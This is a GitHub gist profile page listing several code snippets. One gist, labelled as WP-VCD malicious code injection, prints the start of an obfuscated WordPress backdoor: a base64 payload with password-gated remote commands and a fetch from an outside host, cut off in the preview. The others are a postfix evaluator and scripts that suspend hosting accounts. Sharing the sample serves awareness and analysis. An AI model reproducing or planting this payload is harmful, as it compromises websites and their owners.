Skip to content

Instantly share code, notes, and snippets.

View saiftheboss7's full-sized avatar

Saif Hassan saiftheboss7

View GitHub Profile
@saiftheboss7
saiftheboss7 / wp-vcd.php
Created March 16, 2019 10:07
WP-VCD.php Malicious Code Injection -
<?php
error_reporting(0);
//gICAgICAgICAgICA
ini_set('display_errors', 0);
//2V0KCRfUkVRVUVTVFsn
$install_code = 'PD9waHAKaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkKCXsKJGRpdl9jb2RlX25hbWU9IndwX3ZjZCI7CgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgoJCQkJCgoKCgoJCQkJY2FzZSAnY2hhbmdlX2RvbWFpbic7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQoJCQkJCQl7CgkJCQkJCQkKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpCgkJCQkJCQkJewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pKQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaF9hbGwoJy9cJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHNcKCJodHRwOlwvXC8oLiopXC9j
@saiftheboss7
saiftheboss7 / postfix_evaluation_of_an_expression_using_Python3.py
Created October 25, 2016 17:29
Postfix Evaluation of an expression using Python 3
s = []
while True:
'''Taking Input until user clicks a blank enter'''
item=input("Enter your postfix expression character by character or press enter to exit ")
if (item==''):
break
s.append(item) #Adding items to stack one by one
print(s) #your entered expression
@saiftheboss7
saiftheboss7 / suspend.py
Created August 6, 2016 15:17
Python Script to Automatically Suspend Hosting Accounts
'''
Made by: @saiftheboss7
Job: To automatically suspend accounts at a given time.
Instruction: Run this code via cronjob
Works on Python 2.7+
'''
#!/usr/bin/env python
import datetime
import urllib
@saiftheboss7
saiftheboss7 / suspend.php
Last active August 6, 2016 15:51
PHP Script to Automatically Suspend Hosting Accounts
/*
Made by: @saiftheboss7
Job: To automatically suspend accounts at a given time.
Instruction: Run this code via cronjob */
<?php
$date1 = date("Y/m/d"); //this collects current date
$date2 = "2016/08/06"; //this is your desired time when you want to download the html page or want to do the job.
$timestamp1 = strtotime($date1);
$timestamp2 = strtotime($date2);